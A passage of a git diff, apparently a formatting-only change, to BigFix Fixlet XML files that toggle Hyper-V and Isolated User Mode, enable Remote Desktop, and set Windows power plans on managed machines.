+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hyper-V Platform - Disable - Windows</Title>
+    <Description>This Fixlet enables Hyper-V Platform in Windows to support the deployment of Credential Guard </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) contains &quot;Hyper-V Platform&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Disable-Feature:Microsoft-Hyper-V-Hypervisor</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes
index 626100dc3..cfbce8a5e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Hyper-V Platform - Enable - Windows (20655).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Hyper-V Platform - Enable - Windows
-  ID       : 20655
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-17T15:28:38
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Hyper-V Platform - Enable - Windows</Title>
-    <Description>This Fixlet enables Hyper-V Platform in Windows to support the deployment of Credential Guard </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Hyper-V Platform&quot;</Relevance>
-    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Hyper-V Platform&quot;</Relevance>
-    <Category>Virtualization Based Security</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-// Enter your action script here
-
-wait dism.exe /NoRestart /Online /Enable-Feature:Microsoft-Hyper-V-Hypervisor /all</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Hyper-V Platform - Enable - Windows
+  ID       : 20655
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Hyper-V Platform - Enable - Windows</Title>
+    <Description>This Fixlet enables Hyper-V Platform in Windows to support the deployment of Credential Guard </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Hyper-V Platform&quot;</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Hyper-V Platform&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Enable-Feature:Microsoft-Hyper-V-Hypervisor /all</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes
index f41497c3d..1a200f28c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Disable - Windows (20656).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Isolated User Mode - Disable - Windows
-  ID       : 20656
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-17T15:28:44
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Isolated User Mode - Disable - Windows</Title>
-    <Description>This Fixlet disables Isolated User Mode in Windows to support the removal of Credential Guard </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Isolated User Mode&quot;</Relevance>
-    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Isolated User Mode&quot;</Relevance>
-    <Category>Virtualization Based Security</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait dism.exe /NoRestart /Online /Disable-Feature:IsolatedUserMode</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Isolated User Mode - Disable - Windows
+  ID       : 20656
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Isolated User Mode - Disable - Windows</Title>
+    <Description>This Fixlet disables Isolated User Mode in Windows to support the removal of Credential Guard </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Isolated User Mode&quot;</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Isolated User Mode&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Disable-Feature:IsolatedUserMode</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes
index de1c6b5a1..a5207ce9e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Isolated User Mode - Enable - Windows (20657).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Isolated User Mode - Enable - Windows
-  ID       : 20657
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-17T15:28:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Isolated User Mode - Enable - Windows</Title>
-    <Description>This Fixlet enables Isolated User Mode in Windows to support the deployment of Credential Guard</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Isolated User Mode&quot;</Relevance>
-    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Isolated User Mode&quot;</Relevance>
-    <Category>Virtualization Based Security</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait dism.exe /NoRestart /Online /Enable-Feature:IsolatedUserMode /All</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Isolated User Mode - Enable - Windows
+  ID       : 20657
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-17T15:28:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Isolated User Mode - Enable - Windows</Title>
+    <Description>This Fixlet enables Isolated User Mode in Windows to support the deployment of Credential Guard</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature where installstate= 1&quot; of wmi) does not contain &quot;Isolated User Mode&quot;</Relevance>
+    <Relevance>set of (string values of properties &quot;Caption&quot; of select objects &quot;* from win32_optionalfeature&quot; of wmi) contains &quot;Isolated User Mode&quot;</Relevance>
+    <Category>Virtualization Based Security</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-13</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait dism.exe /NoRestart /Online /Enable-Feature:IsolatedUserMode /All</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes
index 1a34012fc..cdb8b8f85 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Microsoft Remote Desktop - Enable RDP - Windows (23555).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Microsoft Remote Desktop - Enable RDP - Windows
-  ID       : 23555
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:01:51
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Microsoft Remote Desktop - Enable RDP - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet enables RDP on the targeted machine.</P>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists values &quot;fDenyTSConnections&quot; whose (it != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-02-01</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000000
-
-waithidden &quot;{pathname of file &quot;sc.exe&quot; of system folder}&quot; config TermService start= demand
-
-waithidden &quot;{pathname of file &quot;sc.exe&quot; of system folder}&quot; start TermService
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Microsoft Remote Desktop - Enable RDP - Windows
+  ID       : 23555
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:01:51
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Microsoft Remote Desktop - Enable RDP - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet enables RDP on the targeted machine.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists values &quot;fDenyTSConnections&quot; whose (it != 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-02-01</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000000
+
+waithidden &quot;{pathname of file &quot;sc.exe&quot; of system folder}&quot; config TermService start= demand
+
+waithidden &quot;{pathname of file &quot;sc.exe&quot; of system folder}&quot; start TermService
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes
index ec43a76bd..6a46c1fe5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Balanced - Windows (20557).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Power Policy - Set to Balanced - Windows
-  ID       : 20557
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:18:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Power Policy - Set to Balanced - Windows</Title>
-    <Description><![CDATA[Sets the Windows Power Policy to Balanced.
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
-    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;Balanced&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait powercfg -s &quot;381b4222-f694-41f0-9685-ff5bb260df2e&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to Balanced - Windows
+  ID       : 20557
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:18:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to Balanced - Windows</Title>
+    <Description><![CDATA[Sets the Windows Power Policy to Balanced.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;Balanced&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait powercfg -s &quot;381b4222-f694-41f0-9685-ff5bb260df2e&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes
index 4f43b4ec7..c88929dda 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to High Performance - Windows (20559).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Power Policy - Set to High Performance - Windows
-  ID       : 20559
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:18:13
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Power Policy - Set to High Performance - Windows</Title>
-    <Description><![CDATA[Sets the Windows Power Policy to High Performance.
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
-    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;High Performance&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait powercfg -s &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to High Performance - Windows
+  ID       : 20559
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:18:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to High Performance - Windows</Title>
+    <Description><![CDATA[Sets the Windows Power Policy to High Performance.
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;High Performance&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait powercfg -s &quot;8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes
index 23bc1a3e7..e6400c88a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Power Saver - Windows (20561).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Power Policy - Set to Power Saver - Windows
-  ID       : 20561
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:18:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Power Policy - Set to Power Saver - Windows</Title>
-    <Description><![CDATA[<P>Sets the Windows Power Policy to Power Saver.</P>
-<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
-    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;Power Saver&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-wait powercfg -s &quot;a1841308-3541-4fab-bc81-f71556f20b4a&quot;</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Power Policy - Set to Power Saver - Windows
+  ID       : 20561
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Power Policy - Set to Power Saver - Windows</Title>
+    <Description><![CDATA[<P>Sets the Windows Power Policy to Power Saver.</P>
+<P>For general information or to report issues with C3 Power Management content please visit GitHub here: <A href="https://github.com/strawgate/C3-Power-Management">https://github.com/strawgate/C3-Power-Management</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "5.1"]]></Relevance>
+    <Relevance>string value of selects &quot;ElementName from win32_powerplan where isActive = True&quot; of wmi &quot;Root\CIMV2\power&quot; != &quot;Power Saver&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+wait powercfg -s &quot;a1841308-3541-4fab-bc81-f71556f20b4a&quot;</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes
index 2e69ce841..08318d93c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Power Policy - Set to Presentation Mode - Windows (24032).bes	
@@ -1,34 +1,34 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Power Policy - Set to Presentation Mode - Windows
-  ID       : 24032
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-12T09:27:55
-  Source   : bigfixm1_main @ BES-Root
--->
